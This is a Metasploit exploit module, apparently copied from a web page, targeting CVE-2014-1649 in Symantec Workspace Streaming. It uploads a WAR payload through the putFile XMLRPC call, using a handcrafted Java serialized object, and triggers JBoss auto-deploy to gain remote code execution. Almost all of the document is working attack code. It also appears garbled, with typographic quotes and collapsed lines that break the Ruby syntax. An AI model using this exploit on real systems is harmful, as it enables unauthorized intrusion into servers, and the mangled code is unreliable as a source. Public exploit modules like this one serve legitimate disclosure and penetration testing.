Symantec Workspace Streaming Arbitrary File Upload

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core’
require ‘rexml/document’

class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name' => ‘Symantec Workspace Streaming Arbitrary File Upload’,
‘Description’ => %q{
This module exploits a code execution flaw in Symantec Workspace Streaming. The
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
as_agent.exe service, which allows for uploading arbitrary files under the server root.
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
to achieve remote code execution. This module has been tested successfully on Symantec
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
machine deployment, and also in the backend role in a multiple machine deployment.
},
‘Author’ =>
[
‘rgod ‘, # Vulnerability discovery
‘juan vazquez’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘CVE’, ‘2014-1649’],
[‘BID’, ‘67189’],
[‘ZDI’, ’14-127′],
[‘URL’, ‘http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00’]
],
‘Privileged’ => true,
‘Platform’ => ‘java’,
‘Arch’ => ARCH_JAVA,
‘Targets’ =>
[
[ ‘Symantec Workspace Streaming 6.1 SP8 / Java Universal’, {} ]
],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘May 12 2014’))

register_options(
[
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
OptPort.new(‘STE_PORT’, [true, “The remote as_ste.exe AS server port”, 9832]), # as_ste.exe (abuse jboss auto deploy)
], self.class)
end

def send_xml_rpc_request(xml)
res = send_request_cgi(
{
‘uri’ => normalize_uri(“/”, “xmlrpc”),
‘method’ => ‘POST’,
‘ctype’ => ‘text/xml; charset=UTF-8’,
‘data’ => xml
})

res
end

def build_soap_get_file(file_path)
xml = Document.new
xml.add_element(
“methodCall”,
{
‘xmlns:ex’ => “http://ws.apache.org/xmlrpc/namespaces/extensions”
})
method_name = xml.root.add_element(“methodName”)
method_name.text = “ManagementAgentServer.getFile”

params = xml.root.add_element(“params”)

param_server_root = params.add_element(“param”)
value_server_root = param_server_root.add_element(“value”)
value_server_root.text = “*AWESE”

param_file_type = params.add_element(“param”)
value_file_type = param_file_type.add_element(“value”)
type_file_type = value_file_type.add_element(“i4”)
type_file_type.text = “0” # build path from the server root directory

param_file_name = params.add_element(“param”)
value_file_name = param_file_name.add_element(“value”)
value_file_name.text = file_path

param_file_binary = params.add_element(“param”)
value_file_binary = param_file_binary.add_element(“value”)
type_file_binary = value_file_binary.add_element(“boolean”)
type_file_binary.text = “0”

xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_put_file(file) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => “http://ws.apache.org/xmlrpc/namespaces/extensions”
})
method_name = xml.root.add_element(“methodName”)
method_name.text = “ManagementAgentServer.putFile”

params = xml.root.add_element(“params”)

param_server_root = params.add_element(“param”)
value_server_root = param_server_root.add_element(“value”)
value_server_root.text = “*AWESE”

param_file_type = params.add_element(“param”)
value_file_type = param_file_type.add_element(“value”)
type_file_type = value_file_type.add_element(“i4”)
type_file_type.text = “0” # build path from the server root directory

param_file = params.add_element(“param”)
value_file = param_file.add_element(“value”)
type_value_file = value_file.add_element(“ex:serializable”)
type_value_file.text = file

xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_check_put xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => “http://ws.apache.org/xmlrpc/namespaces/extensions”
})
method_name = xml.root.add_element(“methodName”)
method_name.text = “ManagementAgentServer.putFile”
xml.root.add_element(“params”)
xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def parse_method_response(xml) doc = Document.new(xml) file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable") unless file.nil? file = Rex::Text.decode_base64(file.text) end file end def get_file(path) xml_call = build_soap_get_file(path) file = nil res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body file = parse_method_response(res.body.to_s) end file end def put_file(file) result = nil xml_call = build_soap_put_file(file) res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body result = parse_method_response(res.body.to_s) end result end def upload_war(war_name, war, dst) result = false java_file = build_java_file_info("#{dst}#{war_name}", war) java_file = Rex::Text.encode_base64(java_file) res = put_file(java_file) if res && res =~ /ReturnObject.*StatusMessage.*Boolean/ result = true end result end def jboss_deploy_path path = nil leak = get_file("bin/CreateDatabaseSchema.cmd") if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/ path = $1 end path end def check check_result = Exploit::CheckCode::Safe if jboss_deploy_path.nil? xml = build_soap_check_put res = send_xml_rpc_request(xml) if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/ check_result = Exploit::CheckCode::Detected end else check_result = Exploit::CheckCode::Appears end check_result end def exploit print_status("#{peer} - Leaking the jboss deployment directory...") jboss_path =jboss_deploy_path if jboss_path.nil? fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") end print_status("#{peer} - Building WAR payload...") app_name = Rex::Text.rand_text_alpha(4 + rand(4)) war_name = "#{app_name}.war" war = payload.encoded_war({ :app_name => app_name }).to_s
deploy_dir = “..#{jboss_path}”

print_status(“#{peer} – Uploading WAR payload…”)

res = upload_war(war_name, war, deploy_dir)

unless res
fail_with(Exploit::Unknown, “#{peer} – Failed to upload the war payload”)
end

register_files_for_cleanup(“../server/appstream/deploy/#{war_name}”)

10.times do
select(nil, nil, nil, 2)

# Now make a request to trigger the newly deployed war
print_status(“#{rhost}:#{ste_port} – Attempting to launch payload in deployed WAR…”)
res = send_request_cgi(
{
‘uri’ => normalize_uri(“/”, app_name, Rex::Text.rand_text_alpha(rand(8)+8)),
‘method’ => ‘GET’,
‘rport’ => ste_port # Auto Deploy can be reached through the “as_ste.exe” service
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end

end

def ste_port
datastore[‘STE_PORT’]
end

# com.appstream.cm.general.FileInfo serialized object
def build_java_file_info(file_name, contents)
stream = “\xac\xed” # stream magic
stream << "\x00\x05" # stream version stream << "\x73" # new Object stream << "\x72" # TC_CLASSDESC stream << ["com.appstream.cm.general.FileInfo".length].pack("n") stream << "com.appstream.cm.general.FileInfo" stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [6].pack("n") # number of fields in the class stream << "Z" # boolean stream << ["bLastPage".length].pack("n") stream << "bLastPage" stream << "J" # long stream << ["lFileSize".length].pack("n") stream << "lFileSize" stream << "[" # array stream << ["baContent".length].pack("n") stream << "baContent" stream << "\x74" # TC_STRING stream << ["[B".length].pack("n") stream << "[B" # field's type (byte array) stream << "L" # Object stream << ["dTimeStamp".length].pack("n") stream << "dTimeStamp" stream << "\x74" # TC_STRING stream << ["Ljava/util/Date;".length].pack("n") stream << "Ljava/util/Date;" #field's type (Date) stream << "L" # Object stream << ["sContent".length].pack("n") stream << "sContent" stream << "\x74" # TC_STRING stream << ["Ljava/lang/String;".length].pack("n") stream << "Ljava/lang/String;" #field's type (String) stream << "L" # Object stream << ["sFileName".length].pack("n") stream << "sFileName" stream << "\x71" # TC_REFERENCE stream << [0x007e0003].pack("N") # handle stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL # Values stream << [1].pack("c") # bLastPage stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize stream << "\x75" # TC_ARRAY stream << "\x72" # TC_CLASSDESC stream << ["[B".length].pack("n") stream << "[B" # byte array) stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [0].pack("n") # number of fields in the class stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL stream << [contents.length].pack("N") stream << contents # baContent stream << "\x70" # TC_NULL # dTimeStamp stream << "\x70" # TC_NULL # sContent stream << "\x74" # TC_STRING stream << [file_name.length].pack("n") stream << file_name # sFileName stream end end

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